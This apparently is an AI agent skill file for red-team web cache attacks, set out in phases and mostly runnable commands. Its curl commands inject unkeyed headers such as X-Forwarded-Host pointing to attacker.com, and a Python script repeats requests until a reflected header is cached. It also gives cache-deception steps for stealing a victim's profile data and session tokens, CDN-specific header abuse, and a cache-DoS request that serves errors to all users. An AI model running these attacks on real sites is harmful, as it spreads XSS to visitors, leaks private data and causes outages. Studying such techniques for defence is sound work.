---
name: rt-cache-attacks
description: "Web cache poisoning and cache deception skill for authorized engagements. Cache poisoning via unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme), fat GET requests, cache key normalization flaws, cache deception attacks for stealing session tokens, CDN cache poisoning, DoS via cache poisoning, and parameter cloaking. Use when testing applications using caching layers (Varnish, Cloudflare, Fastly, Nginx proxy_cache)."
---

# rt-cache-attacks — Web Cache Poisoning & Cache Deception

## Overview

Web cache attacks exploit how caching layers store and serve responses. **Cache Poisoning**: trick the cache into storing a malicious response served to all users. **Cache Deception**: trick the cache into storing a response containing the victim's sensitive data, then retrieve it.

---

## Phase 1 — Cache Detection

```bash
# Detect caching headers
curl -s -I https://target.com/ | grep -i "cache\|age\|x-cache\|cf-cache\|x-varnish"
# X-Cache: HIT = cached
# Age: 123 = cached for 123 seconds
# CF-Cache-Status: HIT = Cloudflare cache hit
# X-Varnish: 123 456 = Varnish hit

# Cache key — what makes responses unique per-cache entry
# Usually: URL + Host header (sometimes query params, cookies)

# Test for unkeyed inputs (affect response but NOT cache key)
# If adding X-Forwarded-Host changes response but not cache key → poisonable
curl -H "X-Forwarded-Host: evil.com" https://target.com/
```

---

## Phase 2 — Web Cache Poisoning

```bash
# Unkeyed header injection → poison cache with XSS/open redirect

# X-Forwarded-Host poisoning
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
# If response contains: <script src="//attacker.com/..."> → reflected → cache it

# Wait for cache to store poisoned response
# All users requesting https://target.com/ get XSS payload

# X-Forwarded-Scheme poisoning
curl -H "X-Forwarded-Scheme: http" https://target.com/
# If redirects to: http://target.com → cache redirect → serve to all users

# Fat GET — body in GET request
curl -X GET https://target.com/ \
  -H "Content-Length: 48" \
  -d "param=../../admin"
# Some caches key on URL only, ignore body → poisoned response cached

# Parameter cloaking (duplicate parameters)
# Cache sees: /search?q=normal (keyed)
# Server sees: /search?q=normal&q=<script>alert(1)</script> (unkeyed second param)
curl "https://target.com/search?q=normal&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E"
```

```python
# Automated cache poisoning with param miner
# Burp Suite → BApp Store → Param Miner
# Active Scan → sends all unkeyed headers → finds reflections

# Manual poisoning script
import requests, time

headers_to_test = [
    "X-Forwarded-Host",
    "X-Host",
    "X-Forwarded-Server",
    "X-HTTP-Method-Override",
    "X-Original-URL",
    "X-Rewrite-URL",
]

for header in headers_to_test:
    r = requests.get("https://target.com/",
                     headers={header: "attacker.com"})
    if "attacker.com" in r.text:
        print(f"REFLECTED: {header}")
        # Now poison the cache
        for _ in range(10):  # Ensure cached
            requests.get("https://target.com/",
                        headers={header: "attacker.com"})
        print(f"Cache poisoned via {header}!")
```

---

## Phase 3 — Web Cache Deception

```bash
# Trick cache into storing victim's authenticated response
# Then fetch it unauthenticated

# Scenario:
# /api/profile returns victim's personal data (not cached — dynamic)
# /profile/photo.jpg returns a photo (cached — static file)
# Attack: /api/profile/photo.jpg  ← cache sees .jpg → caches it
#                                    server sees /api/profile → returns user data

# Step 1: Trick victim into visiting
https://target.com/api/profile/nonexistent.jpg
# (via phishing, stored XSS, etc.)

# Step 2: Victim visits → server returns their profile data → cache stores it

# Step 3: Attacker fetches same URL (no auth needed — cached)
curl https://target.com/api/profile/nonexistent.jpg
# Returns: victim's personal data, session tokens, etc.

# Common path extensions that trigger caching:
extensions = [".jpg", ".png", ".css", ".js", ".ico", ".gif", ".svg", ".woff"]
for ext in extensions:
    url = f"https://target.com/api/user/profile{ext}"
    r = requests.get(url, cookies={"session": ATTACKER_SESSION})
    if "X-Cache: HIT" in str(r.headers):
        print(f"Cacheable: {url}")
```

---

## Phase 4 — CDN-Specific Attacks

```bash
# Cloudflare cache poisoning
curl -H "CF-Worker: 1" https://target.com/
curl -H "CF-Connecting-IP: 127.0.0.1" https://target.com/
curl -H "True-Client-IP: attacker.com" https://target.com/

# Fastly cache poisoning
curl -H "Fastly-Client-IP: 127.0.0.1" https://target.com/

# Varnish — via Vary header manipulation
# If Vary: Cookie → each cookie value = separate cache key
# Poison specific cached variant

# Cache DoS (cache poisoning for unavailability)
# Poison cached page with 500 error or redirect to non-existent resource
curl -H "X-Forwarded-Host: 127.0.0.1:99999" https://target.com/
# Forces error → caches 500 response → all users get error
```

---

## Skill Levels

**BEGINNER:** Burp Param Miner for unkeyed header discovery · Manual reflection testing

**INTERMEDIATE:** X-Forwarded-Host poisoning to XSS · Cache deception for session theft

**ADVANCED:** Fat GET poisoning · Parameter cloaking · CDN-specific header abuse

**EXPERT:** Response queue poisoning + cache combo · Host header injection chains · Cache DoS at scale

---

## References

- PortSwigger Cache Poisoning: https://portswigger.net/research/practical-web-cache-poisoning
- PortSwigger Cache Deception: https://portswigger.net/research/web-cache-entanglement
- Param Miner: https://github.com/PortSwigger/param-miner
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
